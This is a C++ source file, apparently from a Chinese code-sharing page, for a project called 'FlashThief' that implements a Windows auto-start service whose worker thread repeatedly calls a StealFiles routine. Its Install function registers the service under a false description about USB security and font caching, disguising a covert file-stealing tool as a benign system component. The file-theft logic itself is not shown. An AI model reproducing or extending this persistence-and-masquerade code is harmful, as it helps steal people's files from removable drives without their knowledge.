📄 service.cpp
字号:
// Service.cpp: CService 类的实现。
#include "stdafx.h"
#include "FlashThief.h"
#include "Service.h"
CService _Module;
CService::CService()
{
m_bService = TRUE;
m_dwThreadID = 0;
}
CService::~CService()
{
}
// 第一个参数是服务名称,第二个参数是服务的显示名称。
void CService::Init(LPCTSTR pServiceName, LPCTSTR pServiceDisplayedName)
{
_tcscpy_s(m_szServiceName, 256, pServiceName);
_tcscpy_s(m_szServiceDisplayedName, 256, pServiceDisplayedName);
// 设置初始服务状态
m_hServiceStatus = NULL;
m_status.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
m_status.dwCurrentState = SERVICE_STOPPED;
// 设置服务可以使用的控制
// 如果希望服务启动后不能停止,去掉SERVICE_ACCEPT_STOP
// SERVICE_ACCEPT_PAUSE_CONTINUE是服务可以“暂停/继续”
m_status.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
m_status.dwWin32ExitCode = 0;
m_status.dwServiceSpecificExitCode = 0;
m_status.dwCheckPoint = 0;
m_status.dwWaitHint = 0;
}
void CService::Start()
{
SERVICE_TABLE_ENTRY st[] =
{
{ m_szServiceName, _ServiceMain },
{ NULL, NULL }
};
if (!::StartServiceCtrlDispatcher(st) && m_bService)
m_bService = FALSE;
if (m_bService == FALSE)
Run();
}
void CService::ServiceMain()
{
// 注册控制请求句柄
m_status.dwCurrentState = SERVICE_START_PENDING;
m_hServiceStatus = RegisterServiceCtrlHandler(m_szServiceName, _Handler);
if (m_hServiceStatus == NULL) return;
SetServiceStatus(SERVICE_START_PENDING);
m_status.dwWin32ExitCode = S_OK;
m_status.dwCheckPoint = 0;
m_status.dwWaitHint = 0;
// 当 Run 函数返回时,服务已经结束。
Run();
SetServiceStatus(SERVICE_STOPPED);
}
inline void CService::Handler(DWORD dwOpcode)
{
switch (dwOpcode)
{
case SERVICE_CONTROL_STOP:
SetServiceStatus(SERVICE_STOP_PENDING);
StealStatus(STEAL_STOP_PENDING);
PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL);
break;
case SERVICE_CONTROL_PAUSE:
SetServiceStatus(SERVICE_PAUSE_PENDING);
StealStatus(STEAL_PAUSE_PENDING);
PostThreadMessage(m_dwThreadID, WM_STEAL_PAUSE, NULL, NULL);
break;
case SERVICE_CONTROL_CONTINUE:
SetServiceStatus(SERVICE_CONTINUE_PENDING);
StealStatus(STEAL_CONTINUE_PENDING);
PostThreadMessage(m_dwThreadID, WM_STEAL_CONTINUE, NULL, NULL);
break;
case SERVICE_CONTROL_INTERROGATE:
break;
case SERVICE_CONTROL_SHUTDOWN:
SetServiceStatus(SERVICE_STOP_PENDING);
StealStatus(STEAL_STOP_PENDING);
PostThreadMessage(m_dwThreadID, WM_QUIT, NULL, NULL);
break;
default:
break;
}
}
void WINAPI CService::_ServiceMain(DWORD dwArgc, LPTSTR* lpszArgv)
{
_Module.ServiceMain();
}
void WINAPI CService::_Handler(DWORD dwOpcode)
{
_Module.Handler(dwOpcode);
}
void CService::SetServiceStatus(DWORD dwState)
{
m_status.dwCurrentState = dwState;
::SetServiceStatus(m_hServiceStatus, &m_status);
}
int CService::StealStatus(int iState)
{
if (iState != -1)
_Thief.m_iStatus = iState;
return _Thief.m_iStatus;
}
void CService::Run()
{
m_dwThreadID = GetCurrentThreadId();
if (m_bService)
SetServiceStatus(SERVICE_RUNNING);
HANDLE hThread = NULL;
DWORD dwThreadId = 0;
hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId);
if (hThread == NULL)
return;
MSG msg;
BOOL bRet = FALSE;
while ((bRet = GetMessage(&msg, NULL, NULL, NULL)) != 0)
{
if (bRet == -1) break;
switch (msg.message)
{
case WM_STEAL_PAUSE:
WaitForSingleObject(hThread, 60000 + _Thief.m_dwInterval);
SetServiceStatus(SERVICE_PAUSED);
break;
case WM_STEAL_CONTINUE:
if (StealStatus() == STEAL_STOPPED)
{
CloseHandle(hThread);
hThread = CreateThread(NULL, 0, ThreadProc, this, 0, &dwThreadId);
}
if (hThread != NULL)
SetServiceStatus(SERVICE_RUNNING);
break;
}
TranslateMessage(&msg);
DispatchMessage(&msg);
}
WaitForSingleObject(hThread, 30000 + _Thief.m_dwInterval);
CloseHandle(hThread);
}
DWORD CService::ThreadProc(LPVOID lpParam)
{
StealStatus(STEAL_RUNNING);
while (StealStatus() == STEAL_RUNNING)
{
_Thief.StealFiles();
Sleep(_Thief.m_dwInterval);
}
StealStatus(STEAL_STOPPED);
return 0;
}
BOOL CService::Install()
{
if (IsInstalled())
return TRUE;
SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL)
{
MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK);
return FALSE;
}
// 获取可执行文件的路径
TCHAR szFilePath[MAX_PATH];
DWORD dwLen = GetModuleFileName(NULL, szFilePath, MAX_PATH);
if (_tcschr(szFilePath, ' ') != NULL)
{
dwLen += 3;
LPWSTR lpFilePath = new TCHAR[dwLen];
if (lpFilePath != NULL)
{
swprintf_s(lpFilePath, dwLen, _T("\"%s\""), szFilePath);
_tcscpy_s(szFilePath, MAX_PATH, lpFilePath);
delete []lpFilePath;
}
}
SC_HANDLE hService = ::CreateService(
hSCM, m_szServiceName, m_szServiceDisplayedName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
szFilePath, NULL, NULL, NULL, NULL, NULL);
if (hService == NULL)
{
::CloseServiceHandle(hSCM);
MessageBox(NULL, _T("无法创建服务!"), m_szServiceName, MB_OK);
return FALSE;
}
else
{
TCHAR szDescription[256];
SERVICE_DESCRIPTION sdBuf;
// 服务描述
swprintf_s(szDescription, 256,
_T("Provide USB security with %s applications by caching commonly used font data."),
m_szServiceDisplayedName);
sdBuf.lpDescription = szDescription;
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sdBuf);
}
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
return TRUE;
}
BOOL CService::Uninstall()
{
if (!IsInstalled())
return TRUE;
SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM == NULL)
{
MessageBox(NULL, _T("无法打开服务管理器!"), m_szServiceName, MB_OK);
return FALSE;
}
SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_STOP | DELETE);
if (hService == NULL)
{
::CloseServiceHandle(hSCM);
MessageBox(NULL, _T("无法打开服务以对其进行操作!"), m_szServiceName, MB_OK);
return FALSE;
}
SERVICE_STATUS status;
::ControlService(hService, SERVICE_CONTROL_STOP, &status);
BOOL bDelete = ::DeleteService(hService);
::CloseServiceHandle(hService);
::CloseServiceHandle(hSCM);
if (bDelete)
{
RecurseDeleteKey(HKEY_LOCAL_MACHINE, CFG_REG_SUBKEY);
return TRUE;
}
MessageBox(NULL, _T("服务无法被删除!"), m_szServiceName, MB_OK);
return FALSE;
}
BOOL CService::IsInstalled()
{
BOOL bResult = FALSE;
SC_HANDLE hSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hSCM != NULL)
{
SC_HANDLE hService = ::OpenService(hSCM, m_szServiceName, SERVICE_QUERY_CONFIG);
if (hService != NULL)
{
bResult = TRUE;
::CloseServiceHandle(hService);
}
::CloseServiceHandle(hSCM);
}
return bResult;
}
// 删除注册表项
DWORD CService::RecurseDeleteKey(HKEY hkey, LPCTSTR pszSubKey)
{
LPTSTR lpSubKey = NULL;
LPTSTR lpSubKeyName = NULL;
LPTSTR lpEnd = NULL;
DWORD dwMaxSubKeyLen = 0;
LONG lResult = -1;
DWORD dwSize = 0;
HKEY hKey = NULL;
FILETIME ftWrite;
// 首先尝试删除项,如果删除失败则继续执行枚举删除
lResult = RegDeleteKey(hkey, pszSubKey);
if (lResult == ERROR_SUCCESS)
return ERROR_SUCCESS;
lResult = RegOpenKeyEx(hkey, pszSubKey, 0, KEY_READ, &hKey);
if (lResult != ERROR_SUCCESS)
return lResult;
// 检查要删除的项的路径结尾是否有“\”,没有则加上
lResult = RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, &dwMaxSubKeyLen, NULL, NULL, NULL, NULL, NULL, NULL);
if (lResult != ERROR_SUCCESS)
dwMaxSubKeyLen = 50;
dwSize = _tcslen(pszSubKey) + 2 + dwMaxSubKeyLen;
lpSubKey = new TCHAR[dwSize];
if (lpSubKey == NULL)
return -1;
lpSubKeyName = new TCHAR[dwMaxSubKeyLen + 1];
if (lpSubKeyName == NULL)
return -1;
_tcscpy_s(lpSubKey, dwSize, pszSubKey);
lpEnd = lpSubKey + _tcslen(lpSubKey);
if (*(lpEnd - 1) != _T('\\'))
{
*lpEnd = _T('\\');
lpEnd++;
*lpEnd = _T('\0');
}
// 枚举要删除的项下的子项递归删除
dwSize = dwMaxSubKeyLen + 1;
lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite);
if (lResult == ERROR_SUCCESS)
{
do {
_tcscpy_s(lpEnd, dwMaxSubKeyLen + 1, lpSubKeyName);
if (RecurseDeleteKey(hkey, lpSubKey) != ERROR_SUCCESS)
break;
dwSize = dwMaxSubKeyLen + 1;
lResult = RegEnumKeyEx(hKey, 0, lpSubKeyName, &dwSize, NULL, NULL, NULL, &ftWrite);
} while (lResult == ERROR_SUCCESS);
}
lpEnd--;
*lpEnd = _T('\0');
RegCloseKey(hKey);
// 最后再次尝试删除注册表的项
lResult = RegDeleteKey(hkey, lpSubKey);
delete []lpSubKey;
delete []lpSubKeyName;
return lResult;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -